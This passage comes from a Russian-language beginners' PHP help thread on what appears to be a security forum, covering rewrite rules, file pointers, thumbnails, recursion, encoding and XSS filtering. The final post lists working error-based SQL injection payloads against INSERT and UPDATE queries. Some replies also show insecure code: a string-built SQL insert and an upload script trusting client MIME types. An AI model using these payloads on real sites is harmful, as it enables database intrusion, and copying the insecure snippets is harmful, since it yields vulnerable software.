[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. LStr1ke

    LStr1ke Elder - Старейшина

    Joined:
    29 Jul 2009
    Messages:
    801
    Likes Received:
    145
    Reputations:
    73
    Можно
     
  2. Tesson

    Tesson Banned

    Joined:
    27 Dec 2009
    Messages:
    164
    Likes Received:
    43
    Reputations:
    0
    Не работает name.ru/post/foto.gif :(
    в чем может быть проблема? :rolleyes:

    .htaccess
    Code:
    RewriteRule ^post/(([^/]+).([gif|jpg|jpeg|png]+))$ images/post/$1 [L,QSA]
    RewriteRule ^foto/(([^/]+).([gif|jpg|jpeg|png]+))$ images/foto/$1 [L,QSA]
    RewriteRule ^file/(([^/]+).([gif|jpg|jpeg|png]+))$ images/file/$1 [L,QSA]
    
     
    3 people like this.
  3. Failure

    Failure Elder - Старейшина

    Joined:
    21 Sep 2008
    Messages:
    179
    Likes Received:
    46
    Reputations:
    16
    Как сбросить указатель на файл в начало файла?
    Перефразируя - я открыл файл - прочёл - сбросил указатель в начало - перезаписываю в этот же файл не закрывая старый указатель

    можно обойтись file_get/put_contents по 1 разу но интересует как реализовать описанный выше метод.
     
  4. roxblnfk

    roxblnfk Elder - Старейшина

    Joined:
    6 Feb 2010
    Messages:
    189
    Likes Received:
    42
    Reputations:
    19
    fseek установливает смещение указателя
    ftell возвращает значение указателя
    rewind сбрасывает
     
    1 person likes this.
  5. DonKihot

    DonKihot New Member

    Joined:
    23 May 2010
    Messages:
    28
    Likes Received:
    2
    Reputations:
    0
    Получаем инфу о файле :
    $this->temp = stat($this->f_name);

    Дата модификации файла записывается в unix формате.

    Как дату перевести в нормальный формат?
     
  6. Vlad&slav

    Vlad&slav Member

    Joined:
    1 Jan 2009
    Messages:
    207
    Likes Received:
    41
    Reputations:
    9
    date('формат', 'юних формат')
     
  7. Axel G

    Axel G New Member

    Joined:
    28 Jan 2009
    Messages:
    86
    Likes Received:
    3
    Reputations:
    3
    Парни, такой вопрос, сейчас при создании превью, создается jpg изображение, хотя источником является png рисунок, вопрос, что нужно убрать из кода чтобы не приходилось уродовать картинку перегонкой из одного формата в другой, а создавать миниатюрку всего лишь изменив ширину и пропорционально высоту исходного изображения.

    PHP:
    <?

    // create thumbnails
    function createthumb($name,$sourcetype,$filename,$new_w,$new_h){
      if (
    $sourcetype==".jpg"){
        
    $src_img=imagecreatefromjpeg($name);
      }
      if (
    $sourcetype==".png"){
        
    $src_img=imagecreatefrompng($name);
      }
      if (
    $sourcetype==".gif"){
        
    $src_img=imagecreatefromgif($name);
      }

      
    $old_x=imageSX($src_img);
      
    $old_y=imageSY($src_img);
      if (
    $old_x $old_y) {
        
    $thumb_w=$new_w;
        
    $thumb_h=$old_y*($new_h/$old_x);
      }
      if (
    $old_x $old_y) {
        
    $thumb_w=$old_x*($new_w/$old_y);
        
    $thumb_h=$new_h;
      }
      if (
    $old_x == $old_y) {
        
    $thumb_w=$new_w;
        
    $thumb_h=$new_h;
      }

      
    $dst_img=ImageCreateTrueColor($thumb_w,$thumb_h);
      
    imagecopyresampled($dst_img,$src_img,0,0,0,0,$thumb_w,$thumb_h,$old_x,$old_y);

      
    imagejpeg($dst_img,$filename);
      
    imagedestroy($dst_img);
      
    imagedestroy($src_img);
    }

    // script upload

    include("header.php");

    $max_size 1024 2048;

    $max_th 300;
    $min_th 100;

    $path "images/";
    $tpath "thumbs/";

    $tsize $_POST['thumb'];
    if(
    $tsize >= $max_th || $tsize <= $min_th)
     die(
    '<p align="center"><font size="4" color="red">Превью должно быть меньше 300, но больше 100  пикселей.</font><center>');

    if(!isset(
    $_FILES['userfile'])) exit;
    if(!
    is_uploaded_file($_FILES['userfile']['tmp_name'])) exit;

    if (
    $_FILES['userfile']['size']>$max_size) {
      echo 
    "<p align=center>Файл слишком большой!</p>";
      exit;
    }

    $pictype="";
    switch(
    strtolower($_FILES['userfile']['type'])){
      case 
    "image/jpeg" $pictype=".jpg"; break;
      case 
    "image/pjpeg"$pictype=".jpg"; break;
      case 
    "image/gif"  $pictype=".gif"; break;
      case 
    "image/png"  $pictype=".png"; break;
      case 
    "image/x-png"$pictype=".png"; break;
      default           : 
    $pictype=""; break;
    }

    if(
    $pictype!="") {
    //-------
      
    do {
        
    $uniq=md5(uniqid(rand(),1));
        
    $srcfile=$path.$uniq.$pictype;
      } while(
    file_exists($srcfile));

      
    $res copy($_FILES['userfile']['tmp_name'], $srcfile);

      if (!
    $res) {
        echo 
    "<p align=center>Ошибка копирования файла на сервер!</p>";
        exit;
      }
      @
    chmod($srcfile,0666);
      
    //set url variable
      
    $imgf $path $uniq $pictype;
      
    $thbf $tpath $uniq ".jpg";
      
    createthumb($imgf,$pictype,$thbf,$tsize,$tsize);
      @
    chmod($thbf,0666);
      
    $urlf $domain $path $uniq $pictype;

      
    ?>

    # HTML вывод при удачном аплоаде.

      <?
    // error
    } else {
      echo "<p align=center>Формат файла не распознан!</p>";
      exit;
    }

    include("footer.php");

    ?>
     
    #15427 Axel G, 8 Jun 2010
    Last edited: 10 Jun 2010
  8. LStr1ke

    LStr1ke Elder - Старейшина

    Joined:
    29 Jul 2009
    Messages:
    801
    Likes Received:
    145
    Reputations:
    73
    Axel G
    Может эту строчку:
    PHP:
    $thbf $tpath $uniq ".jpg"
    Заменить на:
    PHP:
    $thbf $tpath $uniq $pictype
     
  9. Axel G

    Axel G New Member

    Joined:
    28 Jan 2009
    Messages:
    86
    Likes Received:
    3
    Reputations:
    3
    LStr1ke, в принципе работает, тогда еще один вопрос, сейчас превьюшку карябает и очень сильно, хотелось бы получить красивую миниатюру - уменьшенную копию оригинала. Что отвечает за качество тумбы??
     
  10. spamoney

    spamoney Elder - Старейшина

    Joined:
    26 Dec 2006
    Messages:
    120
    Likes Received:
    7
    Reputations:
    1
    Здравствуйте, никак не могу разобраться с рекурсией, скажите в чем проблема, пример функции:

    Code:
    function expml_1($i) {
    $i++;
    if ($i<10) expml_1($i);
    else return $i;
    }
    
    echo expml_1(0);
    
    По идеи должно выдавать 10, но почему то не работает (если return заменить на echo, то работает, но нужно именно через return)
     
  11. Adio

    Adio Elder - Старейшина

    Joined:
    23 May 2005
    Messages:
    1,646
    Likes Received:
    148
    Reputations:
    18
    Есть массив

    'story' => strip_tags ($xxx['xxx_user_article']),

    Как сделать фильтр слышей и символов ? Я вижу там только теги обрезает а мне нужно что бы все символы кавычки и т д обрезало - потому что когда я постю то в админке реально исполняеться код...
     
  12. Failure

    Failure Elder - Старейшина

    Joined:
    21 Sep 2008
    Messages:
    179
    Likes Received:
    46
    Reputations:
    16
    2 spamoney
    PHP:
    <?php
    function rec($i) {
        if(
    $i 10) {
            
    $i++;
            return 
    rec($i);
        }
        else return 
    $i;
    }
    echo 
    rec(0);
    ?>
    ;)

    2 Adio
    PHP:
    <?php
    $str 
    "some wtf";
    echo 
    htmlentities($strENT_QUOTES$charset); //$charset = utf-8,chcp1251,etc
    ?>
     
    #15432 Failure, 8 Jun 2010
    Last edited: 8 Jun 2010
    1 person likes this.
  13. Adio

    Adio Elder - Старейшина

    Joined:
    23 May 2005
    Messages:
    1,646
    Likes Received:
    148
    Reputations:
    18
    а ... так его на выходе фильтровать надо . - у меня получаеться что - юзер отсылает форму - в ту форму можно повписывать что хочеш как бы - к примеру ввожу алерт отправляю форму - захожу в админку и уменя срабатывает алерт - я хочу фильтровать данные до того как они попадут в админку / базу т.е перед отправкой все фильтровать и отсылать. А ты я так понял написал мне на выходе фитровать
     
  14. dimm666

    dimm666 New Member

    Joined:
    29 Mar 2010
    Messages:
    16
    Likes Received:
    2
    Reputations:
    5
    Народ, хелп, плз! Как средствами php снять скрины с видеоролика? Формат ролика - H.264
     
  15. dimm666

    dimm666 New Member

    Joined:
    29 Mar 2010
    Messages:
    16
    Likes Received:
    2
    Reputations:
    5
    - и без вариантов? А если у хостера нету?
     
  16. CyberHunter

    CyberHunter Active Member

    Joined:
    6 Jan 2010
    Messages:
    601
    Likes Received:
    116
    Reputations:
    37
    Подскажите, что сделать, чтобы в WordPress вместо: "ґСЂР°РІР»СЏ", выводились нормальные символы? ВП стоит на денвере.
     
  17. Chaak

    Chaak Elder - Старейшина

    Joined:
    1 Jun 2008
    Messages:
    1,059
    Likes Received:
    1,067
    Reputations:
    80
    УТФ-8 кодировку базе данных задать
     
  18. CyberHunter

    CyberHunter Active Member

    Joined:
    6 Jan 2010
    Messages:
    601
    Likes Received:
    116
    Reputations:
    37
    \usr\local\mysql-5.1\data\wp\db.opt в этом файле? Или где? Вот что в этом файле:
    До этого было не УТФ-8, а другая кодировка.
     
  19. Failure

    Failure Elder - Старейшина

    Joined:
    21 Sep 2008
    Messages:
    179
    Likes Received:
    46
    Reputations:
    16
    2 Adio

    ну как бы это есть верный подход, данные которые заносятся в базу ничем и никак фильтровать не надо, а фильтровать от всяких xss надо уже на выходе, ну раз тебе уж так хочется, то делай.
    просто перед записью в бд фильтруй, тем же способом что я написал выше, например
    PHP:
    <?php
    $name 
    $_POST['name']; //передаваемый параметр name с формы
    $name htmlentites(...);
    ....
    mysql_query("INSERT INTO .... VALUES('{$name}', ...)");
    ....
    ?>
    2 CyberHunter
    в денвере если не ошибаюсь, есть phpmyadmin, там и смотри в какой кодировке все нормально, и ставь её в wp-config.php
    //define('DB_CHARSET', 'utf8');
     
    #15439 Failure, 8 Jun 2010
    Last edited: 8 Jun 2010
  20. h00lyshit!

    h00lyshit! [From Nobody To Root]

    Joined:
    10 Sep 2009
    Messages:
    289
    Likes Received:
    290
    Reputations:
    195
    :eek:

    HTML:
    insert into test (id,a) values (1,'sqli');  
    
    insert into test (id,a) values (sqli,'test');  
    
    insert into test set id=sqli;  
    
    insert into test set a='sqli';  
    
    update test set id=sqli where...;  
    
    update test set a='sqli' where...;  
    
    HTML:
    http://site.com/?sqli=1')on duplicate key update a=(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--
    
    http://site.com/?sqli=1,(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a))--
    
    http://site.com/?sqli=1 on duplicate key update a=(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a) 
    
    http://site.com/?sqli=1'on duplicate key update a=(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--
    
    http://site.com/?sqli=1 where (1)=(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--
    
    http://site.com/?sqli=1'where (1)=(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--
    
     
    #15440 h00lyshit!, 8 Jun 2010
    Last edited: 8 Jun 2010
    1 person likes this.
Thread Status:
Not open for further replies.